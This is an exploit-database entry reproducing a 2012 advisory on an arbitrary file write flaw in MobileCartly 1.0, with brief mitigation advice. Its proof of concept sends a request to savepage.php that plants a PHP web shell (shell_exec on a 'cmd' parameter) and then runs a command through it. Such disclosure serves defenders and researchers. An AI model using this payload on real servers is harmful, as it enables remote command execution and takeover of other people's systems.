header-logo
Suggest Exploit
vendor:
MobileCartly
by:
Yakir Wizman AKA Pr0T3cT10n
7,5
CVSS
HIGH
Arbitrary File Write
264
CWE
Product Name: MobileCartly
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2012

MobileCartly 1.0 Arbitrary File Write Vulnerability

The application is prone to arbitrary file write / overwrite vulnerability. An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable application. The request should contain the filename and the code to be written in the file. For example, an attacker can send a request with the filename 'shell.php' and the code '<?php echo(shell_exec($_GET['cmd'])); ?>' to write a malicious file in the application directory. This malicious file can then be used to execute arbitrary commands on the server.

Mitigation:

Ensure that the application is not vulnerable to arbitrary file write / overwrite vulnerability. Validate all user-supplied input and restrict access to the application files.
Source

Exploit-DB raw data:

# -----------------------------------------------------------
#			   _____ _ _            _      _ 
#			  / ____(_) |          | |    | |
#			 | |     _| |_ __ _  __| | ___| |
#			 | |    | | __/ _` |/ _` |/ _ \ |
#			 | |____| | || (_| | (_| |  __/ |
#			  \_____|_|\__\__,_|\__,_|\___|_|
#			  
# -----------------------------------------------------------
# MobileCartly 1.0 Arbitrary File Write Vulnerability
# Bug discovered by Yakir Wizman AKA Pr0T3cT10n, <yakir.wizman@gmail.com>
# Date 10/08/2012
# Download - http://mobilecartly.com/mobilecartly.zip
# ISRAEL
# -----------------------------------------------------------
#		Author will be not responsible for any damage.
# -----------------------------------------------------------
# I. DESCRIPTION
# -----------------------------------------------------------
# The application is prone to arbitrary file write / overwrite vulnerability.
#
# -----------------------------------------------------------
# II. PoC EXPLOIT
# -----------------------------------------------------------
# http://127.0.0.1/mobilecartly/includes/savepage.php?savepage=FILENAME&pagecontent=CODE
# FILENAME for example 'shell.php'
# CODE for example '<?php echo(shell_exec($_GET['cmd'])); ?>'
# Result example http://127.0.0.1/mobilecartly/pages/shell.php?cmd=dir
# -----------------------------------------------------------